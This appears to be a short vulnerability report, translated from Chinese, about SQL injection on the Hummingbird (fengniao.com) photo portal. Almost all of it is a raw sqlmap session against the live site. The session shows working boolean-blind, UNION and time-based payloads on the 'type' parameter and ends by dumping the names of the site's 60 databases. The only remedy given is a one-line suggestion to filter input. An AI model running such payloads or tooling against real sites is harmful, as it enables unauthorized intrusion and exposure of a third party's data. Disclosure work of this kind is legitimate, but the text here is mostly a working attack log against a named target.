China's first image portal, Hummingbird, has a severe vulnerability
Injection Point http://www.fengniao.com/active/20091123_interview/list.php? Type = 1
Run SQL map directly
root@IOT:~# sqlmap -u "http://www.fengniao.com/active/20091123_interview/listhp?type=1" _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150416}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 19:49:29[19:49:29] [INFO] resuming back-end DBMS 'mysql' [19:49:29] [INFO] testing connection to the target URL[19:49:30] [WARNING] reflective value(s) found and filtering outsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: type (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: type=1 AND 5390=5390 Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: type=1 UNION ALL SELECT CONCAT(0x717a707171,0x6547726e49505851525a,0x716b787a71),NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind (SELECT) Payload: type=1 AND (SELECT * FROM (SELECT(SLEEP(5)))uXgO)---[19:49:30] [INFO] the back-end DBMS is MySQLweb application technology: Nginxback-end DBMS: MySQL 5.0.11[19:49:30] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.fengniao.com'[*] shutting down at 19:49:30available databases [60]:[*] 08dream_photo[*] activity[*] activity2[*] advertise[*] album[*] baseuser[*] blog[*] camera[*] canon[*] channels[*] cms[*] cnet_cn[*] company[*] digishop[*] digital_camera[*] ecard[*] f_zb[*] fengniao[*] fn_2008[*] fn_ask[*] fn_atools[*] fn_cms[*] fn_complain[*] fn_exhibition[*] fn_match[*] fn_my[*] fn_picture[*] fn_product[*] fn_shuo[*] fn_shuo_content[*] fn_special[*] fn_tuan[*] fn_wd[*] fnmall[*] fnmatch[*] image[*] info[*] information_schema[*] kingston[*] kingston_pet[*] kmr2[*] misc[*] model[*] model09[*] mysql[*] news[*] onlineshop[*] photographer[*] pic2dc[*] product[*] sample[*] seagate[*] survey[*] survey_07[*] tags[*] talk[*] test[*] usedmarket[*] valbum[*] vbbrc2
Solution:
Filter Injection Parameters and add anti-Injection